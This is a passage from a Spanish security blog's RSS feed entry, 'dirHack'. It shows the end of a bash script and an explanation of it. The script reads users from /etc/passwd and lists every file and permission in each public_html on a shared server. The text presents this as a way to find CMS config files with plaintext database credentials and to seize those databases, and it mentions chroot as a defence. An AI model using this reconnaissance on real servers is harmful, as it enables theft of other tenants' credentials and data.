<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;User: $user&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Directory: $fulldir&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Size: `du -sh $fulldir`&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">ls</span> -Rla <span class="re1">$fulldir</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">done</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">done</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> $<span class="nu0">3</span> <span class="kw1">in</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bz2<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">bzip2=</span>`<span class="kw2">which</span> <span class="kw2">bzip2</span>`</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> -x <span class="re1">$bzip</span> <span class="br0">&#93;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$bzip2</span> -f $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File ready and compressed in $2.bz2&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;No exec permissions for bzip2 or bzip2 not found.&quot;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File left uncompressed in $2&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span>;;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gz<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">gzip=</span>`<span class="kw2">which</span> <span class="kw2">gzip</span>`</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> -x <span class="re1">$gzip</span> <span class="br0">&#93;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$gzip</span> -f $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File ready and compressed in $2.gz&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;No exec permissions for gzip or gzip not found.&quot;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File left uncompressed in $2&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span>;;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File ready in $2&quot;</span>;;</div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">esac</span></div>
</li>
</ol>
</div>
</blockquote>
<p><strong>Funcionamiento:</strong> Lee todos los usuarios desde /etc/passwd y luego, por cada usuario obtenido, ingresa al directorio <em>public_html</em> y lista, recursivamente, todos los directorios y subdirectorios. Generalmente, el usuario en el que corre apache se llama <em>apache</em> y obviamente, debe tener acceso de lectura a todos los directorios y ficheros que se desean mostrar, por ejemplo /home/user/public_html/index.php.</p>
<p>Si no tiene permisos de lectura para apache dificilmente se podria ingresar via web. Muchas veces, estos ficheros tienen permisos de escritura y de lectura y es cuando hay que actuar. Si no encontramos ficheros con permisos de escritura no importa, al menos tenemos acceso para leerlos. Por ejemplo, en los CMS mas populares como WordPress, Joomla, etc. suelen tener un fichero de configuracion con el usuario y clave, en texto plato, de la base de datos con lo que podemos generar un script que nos permita ingresar y/o apoderarnos de esa base de datos.<br />
Este script nos creara un listado, en txt (opcionalmente comprimido en gz o bz), con todos los ficheros y sus permisos, para que podamos indagar en la estructura de directorios.<br />
Una forma de solucionar este problema es con <em>chroot</em>.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdirhack%2F&amp;linkname=dirHack" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdirhack%2F&amp;linkname=dirHack" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdirhack%2F&amp;linkname=dirHack" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdirhack%2F&amp;linkname=dirHack" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdirhack%2F&amp;linkname=dirHack" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdirhack%2F&amp;linkname=dirHack" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdirhack%2F&amp;linkname=dirHack" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdirhack%2F&amp;linkname=dirHack">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/dirhack/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
